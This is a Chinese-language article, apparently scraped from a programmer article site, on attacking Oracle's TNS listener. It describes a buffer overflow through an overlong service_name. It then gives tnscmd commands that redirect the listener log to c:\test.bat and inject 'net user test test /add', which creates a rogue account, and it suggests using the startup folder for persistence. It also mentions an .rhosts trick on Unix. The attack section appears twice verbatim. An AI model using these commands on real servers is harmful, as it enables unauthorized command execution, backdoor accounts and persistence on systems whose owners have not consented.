针对Oracle的TNS listener的攻击方法
程序员文章站
2022-03-12 16:39:20
首先,根据版本的不同,TNS listener可能较易受到多种类型的缓冲区溢出攻击,这些攻击可以在不提供用户ID和口令的情况下被利用。例如:在oracle 9i中,当客户机请求某个过长的service... 08-10-08...
首先,根据版本的不同,tns listener可能较易受到多种类型的缓冲区溢出攻击,这些攻击可以在不提供用户id和口令的情况下被利用。例如:在oracle 9i中,当客户机请求某个过长的service_name时,很容易受到溢出攻击。当listener为日志构建错误消息之后,service_name的值会被复制到某于栈结构的缓冲区内,从而引起溢出—覆盖保存值将返回栈中的地址。这种做法可以使攻击者获得控制权。事实上,tns listener曾经有过多次溢出和格式化字符串的漏洞。
其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。假设某个listener没有设置口令,攻击方法如下:
tnscmd -h www.example.com -p 1521 –rawcmd “(description=(connect_data=(cid=(program=)(host=)(user=))(command=log_directory)(arguments=4)(service=listener)(version=1)(value=c:\\)))” 将日志目录设置到c盘
tnscmd -h www.example.com -p 1521 –rawcmd “(description=(connect_data=(cid=(program=)(host=)(user=))(command=log_file)(arguments=4)(service=listener)(version=1)(value=test.bat)))” 将日志文件设置为test.bat
tnscmd -h www.example.com –rawcmd “(connect_data=(( ||dir >test.txt||net user test test /add))” 该命令把dir >test.txt、net user test test /add命令写入c:\test.bat文件,由于双竖线的作用(第一条命令执行失败后,windows命令解释器执行后面的命令)把错误的信息注释掉, 从而可以执行我们提交的命令。
通过设置日志文件到不同的目录,例如windows的启动目录,当服务器重启将执行恶意用户提交的特定代码,从而对系统造成威胁。
运行于unix系统上的oracle也会受到同样的威胁。其中一种方法就是将“ ”回送给.rhost文件,当系统运行时,使用r*services命令。
其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。假设某个listener没有设置口令,攻击方法如下:
tnscmd -h www.example.com -p 1521 –rawcmd “(description=(connect_data=(cid=(program=)(host=)(user=))(command=log_directory)(arguments=4)(service=listener)(version=1)(value=c:\\)))” 将日志目录设置到c盘
tnscmd -h www.example.com -p 1521 –rawcmd “(description=(connect_data=(cid=(program=)(host=)(user=))(command=log_file)(arguments=4)(service=listener)(version=1)(value=test.bat)))” 将日志文件设置为test.bat
tnscmd -h www.example.com –rawcmd “(connect_data=(( ||dir >test.txt||net user test test /add))” 该命令把dir >test.txt、net user test test /add命令写入c:\test.bat文件,由于双竖线的作用(第一条命令执行失败后,windows命令解释器执行后面的命令)把错误的信息注释掉, 从而可以执行我们提交的命令。
通过设置日志文件到不同的目录,例如windows的启动目录,当服务器重启将执行恶意用户提交的特定代码,从而对系统造成威胁。
运行于unix系统上的oracle也会受到同样的威胁。其中一种方法就是将“ ”回送给.rhost文件,当系统运行时,使用r*services命令。
推荐阅读
-
Oracle数据库TNS常见错误的解决方法汇总
-
Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675)的完美解决方法
-
关于Oracle listener日志解析利器的使用方法
-
针对Oracle的TNS listener的攻击方法
-
Oracle数据库TNS常见错误的解决方法汇总
-
Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675)的完美解决方法
-
Linux中Oracle启动侦听报错TNS:permission denied的解决方法
-
关于Oracle listener日志解析利器的使用方法
-
研究人员发现攻击Oracle数据库的新方法
-
php针对ddos攻击的解决方法